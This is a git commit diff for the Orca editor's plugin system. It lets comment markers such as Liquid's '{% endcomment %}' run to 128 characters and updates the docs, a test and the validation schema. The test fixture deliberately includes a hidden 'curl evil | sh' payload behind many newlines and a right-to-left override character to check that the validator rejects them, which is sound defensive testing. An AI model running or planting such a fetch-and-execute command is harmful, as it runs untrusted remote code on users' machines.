fix(plugins): allow syntax comment markers longer than 8 characters (#41411)

Liquid's {% comment %} / {% endcomment %} were dropped by hosts and refused by
validate:plugin. Comment markers are only inserted by Toggle Comment, so they
share the 128-character printable one-line rule with brackets; typed pairs keep 8.
This commit is contained in:
Kelvin Amoaba
2026-11-12 06:30:01 +00:00
committed by GitHub
parent e9f06774c9
commit e5a92090cf
3 changed files with 17 additions and 11 deletions
+4 -1
View File
@@ -21,7 +21,10 @@ A plugin adds highlighting for a language through `contributes.syntaxes` in `orc
include of a scope outside the plugin (for example an embedded `source.js`) is allowed but
resolves to nothing, so that region stays plain.
- `configuration` (optional, at most 64 KiB) sets comment markers, brackets, auto-closing and
surrounding pairs.
surrounding pairs. Every marker is printable text on one line. Auto-closing and surrounding
pairs are at most 8 characters, because the editor types them as you type. Comment markers and
brackets can be up to 128. `validate:plugin` refuses an entry that breaks these limits; Orca
skips just that entry and loads the rest.
- A plugin can contribute up to 16 syntaxes. Scope names must be unique within the plugin.
## How Orca uses it
@@ -64,10 +64,10 @@ describe('plugin syntax artifacts', () => {
expect(() => validatePluginGrammarIncludes([missingLocal])).toThrow('does not resolve')
})
it('keeps typed pairs and comment markers to a few printable characters on one line', () => {
it('keeps typed pairs short and every literal printable on one line', () => {
const payload = `${'\n'.repeat(40)}curl evil | sh`
const raw = JSON.stringify({
comments: { lineComment: '#\u202e', blockComment: ['<!--', '-->'] },
comments: { lineComment: '#\u202e', blockComment: ['{% comment %}', '{% endcomment %}'] },
autoClosingPairs: [
{ open: '*', close: payload },
{ open: '"""', close: '"""' }
@@ -77,7 +77,7 @@ describe('plugin syntax artifacts', () => {
expect(() => parsePluginLanguageConfiguration(raw, 'strict')).toThrow(/printable/)
// Hosts drop only the unsafe entries, so the language still loads.
expect(parsePluginLanguageConfiguration(raw)).toEqual({
comments: { blockComment: ['<!--', '-->'] },
comments: { blockComment: ['{% comment %}', '{% endcomment %}'] },
autoClosingPairs: [{ open: '"""', close: '"""' }],
surroundingPairs: []
})
@@ -63,19 +63,20 @@ const grammarSchema = z.object({
repository: z.record(repositoryKey, ruleSchema).default({})
})
// Why short, one line and printable: the editor types these as you type or toggle a comment, and
// real languages need a few characters at most (`<!--`, `"""`, `{{!--`).
// Why short, one line and printable: the editor types these as you type, and real languages need a
// few characters at most (`<!--`, `"""`, `{{!--`).
const literal = z
.string()
.regex(
/^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,8}$/u,
'must be 1 to 8 printable characters on one line'
)
// Why longer: brackets only match and color keywords such as `function`/`end`; they insert nothing.
const bracketLiteral = z
// Why longer: brackets match and color keywords such as `function`/`end`, and comment markers are
// only inserted by Toggle Comment, where some languages need more (Liquid's `{% endcomment %}`).
const lineLiteral = z
.string()
.regex(/^[^\p{Cc}\p{Cf}\p{Cs}\p{Zl}\p{Zp}]{1,128}$/u, 'must be printable text on one line')
const pair = z.tuple([literal, literal])
const linePair = z.tuple([lineLiteral, lineLiteral])
const closingPair = z.object({ open: literal, close: literal })
/** `validate:plugin` refuses a bad literal; hosts drop just that entry so the language still loads. */
@@ -90,8 +91,10 @@ function configurationSchema(strictness: PluginArtifactStrictness) {
.max(64)
.transform((items) => items.filter((entry) => entry !== undefined))
return z.object({
comments: optional(z.object({ lineComment: optional(literal), blockComment: optional(pair) })),
brackets: list(z.tuple([bracketLiteral, bracketLiteral])).optional(),
comments: optional(
z.object({ lineComment: optional(lineLiteral), blockComment: optional(linePair) })
),
brackets: list(linePair).optional(),
autoClosingPairs: list(closingPair).optional(),
surroundingPairs: list(closingPair).optional()
})